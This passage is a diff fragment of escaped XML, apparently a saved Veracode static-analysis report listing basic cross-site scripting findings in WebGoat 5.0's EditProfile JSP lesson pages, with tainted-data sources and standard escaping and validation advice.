+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"77\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"161\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"128\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"268\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"123\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"3\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"43\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"7\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"224\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"5\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"83\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
